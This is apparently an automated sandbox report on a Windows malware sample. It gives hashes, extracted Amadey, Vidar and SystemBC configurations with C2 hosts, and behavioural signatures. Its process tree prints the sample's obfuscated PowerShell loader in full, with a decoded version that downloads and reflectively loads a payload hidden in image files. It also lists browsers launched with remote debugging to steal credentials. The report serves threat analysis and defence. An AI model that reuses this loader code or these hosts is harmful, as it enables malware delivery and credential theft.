Analysis

  • max time kernel
    102s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/02/2025, 19:27

General

  • Target

    75feb5227095b1fdb72953933df3e907.exe

  • Size

    3.0MB

  • MD5

    75feb5227095b1fdb72953933df3e907

  • SHA1

    82c65fd8b1b296003dea002dd0a640a23063fb23

  • SHA256

    6d4e4eafdd4a46ea7c96557580c7c39f1d850bb0b6ed1ddfaf884ea7b675df65

  • SHA512

    c9406d2e563b34003950a767331c2673d3e823a24c2a713dff33db2c43df818b7dfcfafe6e62794bff6efdddfd9e0e3f3627117148ecdfb182434047c882a418

  • SSDEEP

    49152:bwS/EH+l/uCNZlZ0ws0642Yu6EM1+ZdWSAv4W1UF/LYYmID4:bNEHIlZ01069Yu6EncA/wID

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

vidar

Botnet

ir7am

C2

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

amadey

Version

5.21

Botnet

a4d2cd

C2

http://cobolrationumelawrtewarms.com

http://�������� jlgenfekjlfnvtgpegkwr.xyz

Attributes
  • install_dir

    a58456755d

  • install_file

    Gxtuum.exe

  • strings_key

    00fadbeacf092dfd58b48ef4ac68f826

  • url_paths

    /3ofn3jf3e2ljk/index.php

rc4.plain

Extracted

Family

systembc

C2

towerbingobongoboom.com

93.186.202.3

Attributes
  • dns

    5.132.191.104

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detect Vidar Stealer 2 IoCs
  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

  • Systembc family
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 17 IoCs
  • Uses browser remote debugging 2 TTPs 24 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • .NET Reactor proctector 6 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies Control Panel 43 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\75feb5227095b1fdb72953933df3e907.exe
    "C:\Users\Admin\AppData\Local\Temp\75feb5227095b1fdb72953933df3e907.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Downloads MZ/PE file
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Users\Admin\AppData\Local\Temp\CY8NKTJS9GFYL9CF6QTPLBF93.exe
      "C:\Users\Admin\AppData\Local\Temp\CY8NKTJS9GFYL9CF6QTPLBF93.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4840
      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        3⤵
        • Downloads MZ/PE file
        • Checks computer location settings
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Users\Admin\AppData\Local\Temp\10035600101\MCxU5Fj.exe
          "C:\Users\Admin\AppData\Local\Temp\10035600101\MCxU5Fj.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c lom.bat
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1992
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic cpu get name
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4248
            • C:\Windows\system32\find.exe
              find "QEMU"
              6⤵
                PID:1204
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gw@aQBu@Gs@cw@g@D0@I@B@@Cg@JwBo@HQ@d@Bw@HM@Og@v@C8@YgBp@HQ@YgB1@GM@awBl@HQ@LgBv@HI@Zw@v@GQ@ZwBm@Gc@Z@Bm@GY@ZgBm@GY@ZgBm@GY@ZgBm@GY@Zw@v@Gc@Z@Bm@Gc@Z@Bm@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@L@@g@Cc@a@B0@HQ@c@Bz@Do@Lw@v@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@9@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@@k@Gw@aQBu@Gs@cw@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@C@@LQBu@GU@I@@k@G4@dQBs@Gw@KQ@g@Hs@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBU@GU@e@B0@C4@RQBu@GM@bwBk@Gk@bgBn@F0@Og@6@FU@V@BG@Dg@LgBH@GU@d@BT@HQ@cgBp@G4@Zw@o@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@g@D0@I@@n@Dw@P@BC@EE@UwBF@DY@N@Bf@FM@V@BB@FI@V@@+@D4@Jw@7@C@@J@Bl@G4@Z@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@RQBO@EQ@Pg@+@Cc@Ow@g@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@cwB0@GE@cgB0@EY@b@Bh@Gc@KQ@7@C@@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@Bp@GY@I@@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@g@C0@ZwBl@C@@M@@g@C0@YQBu@GQ@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@C0@ZwB0@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ck@I@B7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@Kw@9@C@@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@@g@D0@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@C0@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@FM@dQBi@HM@d@By@Gk@bgBn@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Cw@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@I@@9@Fs@QwBv@G4@dgBl@HI@d@Bd@Do@OgBU@G8@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBt@GE@bgBk@EI@eQB0@GU@cw@g@D0@I@Bb@FM@eQBz@HQ@ZQBt@C4@QwBv@G4@dgBl@HI@d@Bd@Do@OgBG@HI@bwBt@EI@YQBz@GU@Ng@0@FM@d@By@Gk@bgBn@Cg@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@Ck@Ow@g@C@@I@@k@HQ@ZQB4@HQ@I@@9@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@Ow@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@g@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@I@@9@Fs@QwBv@G4@dgBl@HI@d@Bd@Do@OgBU@G8@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@YwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@D0@I@BH@GU@d@@t@EM@bwBt@H@@cgBl@HM@cwBl@GQ@QgB5@HQ@ZQBB@HI@cgBh@Hk@I@@t@GI@eQB0@GU@QQBy@HI@YQB5@C@@J@Bl@G4@YwBU@GU@e@B0@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HQ@eQBw@GU@I@@9@C@@J@Bs@G8@YQBk@GU@Z@BB@HM@cwBl@G0@YgBs@Hk@LgBH@GU@d@BU@Hk@c@Bl@Cg@JwB0@GU@cwB0@H@@bwB3@GU@cgBz@Gg@ZQBs@Gw@LgBI@G8@YQBh@GE@YQBh@GE@cwBk@G0@ZQ@n@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@cgBT@GE@aQBm@Ek@Yg@v@G8@ZgBu@Gk@LwBn@HI@bw@u@G0@YQBr@HU@cgBl@HM@YQBk@HM@ZQBo@HQ@ZQBi@C8@Lw@6@HM@Jw@s@C@@Jw@w@Cc@L@@g@Cc@UwB0@GE@cgB0@HU@c@BO@GE@bQBl@Cc@L@@g@Cc@UgBl@Gc@QQBz@G0@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($dosigo.replace('@','A')));powershell.exe $OWjuxD"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1028
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/dgfgdfffffffffffg/gdfgdf/downloads/test2.jpg?137113', 'https://ofice365.github.io/1/test.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.rSaifIb/ofni/gro.makuresadsehteb//:s', '0', 'StartupName', 'RegAsm', '0'))}}"
                  7⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2660
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1988
          • C:\Users\Admin\AppData\Local\Temp\10041290101\mAtJWNv.exe
            "C:\Users\Admin\AppData\Local\Temp\10041290101\mAtJWNv.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5068
            • C:\Users\Admin\AppData\Local\Temp\10041290101\mAtJWNv.exe
              "C:\Users\Admin\AppData\Local\Temp\10041290101\mAtJWNv.exe"
              5⤵
              • Executes dropped EXE
              PID:3448
            • C:\Users\Admin\AppData\Local\Temp\10041290101\mAtJWNv.exe
              "C:\Users\Admin\AppData\Local\Temp\10041290101\mAtJWNv.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4884
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                6⤵
                • Uses browser remote debugging
                • Enumerates system info in registry
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                PID:4692
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc1ddbcc40,0x7ffc1ddbcc4c,0x7ffc1ddbcc58
                  7⤵
                    PID:3616
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1904,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1900 /prefetch:2
                    7⤵
                      PID:3520
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2160,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2168 /prefetch:3
                      7⤵
                        PID:4100
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2240,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2216 /prefetch:8
                        7⤵
                          PID:2376
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3176 /prefetch:1
                          7⤵
                          • Uses browser remote debugging
                          PID:4720
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3184,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3208 /prefetch:1
                          7⤵
                          • Uses browser remote debugging
                          PID:3832
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4448,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4536 /prefetch:1
                          7⤵
                          • Uses browser remote debugging
                          PID:1320
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4668,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4744 /prefetch:8
                          7⤵
                            PID:3592
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4704,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4792 /prefetch:8
                            7⤵
                              PID:5128
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4480,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3632 /prefetch:8
                              7⤵
                                PID:5604
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4836,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4888 /prefetch:8
                                7⤵
                                  PID:5708
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4476,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4564 /prefetch:8
                                  7⤵
                                    PID:5796
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3148,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5040 /prefetch:8
                                    7⤵
                                      PID:6108
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5000,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5256 /prefetch:8
                                      7⤵
                                        PID:5420
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5476 /prefetch:8
                                        7⤵
                                          PID:5932
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5044,i,18193112993465676266,8756460853029583783,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4840 /prefetch:2
                                          7⤵
                                          • Uses browser remote debugging
                                          PID:5708
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                        6⤵
                                        • Uses browser remote debugging
